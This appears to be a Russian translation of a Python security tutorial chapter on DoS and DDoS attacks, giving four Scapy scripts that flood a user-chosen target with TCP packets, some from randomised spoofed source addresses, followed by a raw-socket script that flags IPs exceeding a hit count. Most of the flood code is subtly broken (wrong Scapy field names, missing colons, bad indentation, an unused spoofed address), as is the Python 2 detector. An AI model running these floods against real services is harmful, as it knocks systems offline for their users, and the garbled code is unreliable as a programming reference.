DoS и DDoS атаки

В этой главе мы узнаем о DoS- и DdoS-атаках и поймем, как их обнаружить.

С бумом в индустрии электронной коммерции веб-сервер теперь уязвим для атак и стал легкой мишенью для хакеров. Хакеры обычно предпринимают два типа атак:

  • DoS (отказ в обслуживании)
  • DDoS (распределенный отказ в обслуживании)

DoS-атака (отказ в обслуживании)

Атака отказа в обслуживании (DoS) - это попытка хакеров сделать сетевой ресурс недоступным. Обычно он прерывает работу хоста, временно или на неопределенный срок, который подключен к Интернету. Эти атаки обычно нацелены на службы, размещенные на критически важных веб-серверах, таких как банки, платежные шлюзы по кредитным картам.

Симптомы DoS-атаки

  • Необычно низкая производительность сети.

  • Недоступность определенного веб-сайта.

  • Невозможность получить доступ к любому веб-сайту.

  • Резкое увеличение количества полученных спам-писем.

  • Длительный отказ в доступе к сети или каким-либо интернет-сервисам.

  • Недоступность определенного веб-сайта.

Типы DoS-атак и их реализация на Python

DoS-атака может быть реализована на уровне канала передачи данных, сети или приложения. Давайте теперь узнаем о различных типах DoS-атак &; их реализация на Python -

Один IP-порт, один порт

Большое количество пакетов отправляется на веб-сервер с использованием одного IP-адреса и одного номера порта. Это низкоуровневая атака, которая используется для проверки поведения веб-сервера. Его реализация на Python может быть выполнена с помощью Scapy. Следующий скрипт Python поможет реализовать DoS-атаку с одним IP-адресом и одним портом:

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

После выполнения приведенный выше скрипт запросит следующие три вещи:

  • IP-адрес источника и цели.

  • IP-адрес номера порта источника.

  • Затем он отправит на сервер большое количество пакетов для проверки его поведения.

Один IP Несколько портов

Большое количество пакетов отправляется на веб-сервер с использованием одного IP-адреса и нескольких портов. Его реализация на Python может быть выполнена с помощью Scapy. Следующий скрипт python поможет реализовать DoS-атаку с одним IP-адресом и несколькими портами:

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Несколько IP-адресов, один порт

Большое количество пакетов отправляется на веб-сервер с использованием нескольких IP-адресов и одного номера порта. Его реализация на Python может быть выполнена с помощью Scapy. Следующий скрипт Python реализует DoS-атаку с одним IP-адресом и несколькими портами -

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

Несколько IP-адресов, несколько портов

Большое количество пакетов отправляется на веб-сервер с использованием нескольких IP-адресов и нескольких портов. Его реализация на Python может быть выполнена с помощью Scapy. Следующий скрипт Python помогает реализовать DoS-атаку с несколькими IP-адресами:

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

DDoS-атака (распределенный отказ в обслуживании)

Распределенная атака типа «отказ в обслуживании» (DDoS) - это попытка сделать онлайн-сервис или веб-сайт недоступными, перегрузив их огромными потоками трафика, генерируемого из нескольких источников.

В отличие от атаки типа «отказ в обслуживании» (DoS), при которой один компьютер и одно подключение к Интернету используются для наводнения целевого ресурса пакетами, в атаке DDoS используется множество компьютеров и множество подключений к Интернету, которые часто распространяются глобально в так называемом ботнете . Масштабная объемная DDoS-атака может генерировать трафик, измеряемый десятками гигабит (и даже сотнями гигабит) в секунду. Подробнее об этом можно прочитать наhttps://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm.

Обнаружение DDoS с использованием Python

На самом деле DDoS-атаку немного сложно обнаружить, потому что вы не знаете, что хост, который отправляет трафик, поддельный или настоящий. Приведенный ниже скрипт Python поможет обнаружить DDoS-атаку.

Для начала импортируем необходимые библиотеки -

import socket
import struct

from datetime import datetime

Теперь мы создадим сокет, который мы создали в предыдущих разделах.

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

Мы будем использовать пустой словарь -

dict = {}

Следующая строка кода откроет текстовый файл со сведениями о DDoS-атаке в режиме добавления.

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

С помощью следующей строки кода текущее время будет записываться при каждом запуске программы.

file_txt.writelines(t1)
file_txt.writelines("\n")

Теперь нам нужно принять попадания с определенного IP-адреса. Здесь мы предполагаем, что если конкретный IP-адрес поражает более 15 раз, это будет атака.

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

Следующая строка кода проверит, существует ли IP в словаре или нет. Если он существует, он увеличит его на 1.

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

Следующая строка кода используется для удаления избыточности.

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

После запуска приведенного выше скрипта мы получим результат в текстовом файле. Согласно сценарию, если IP-адрес попадет более 15 раз, он будет распечатан, поскольку вместе с этим IP-адресом обнаруживается DDoS-атака.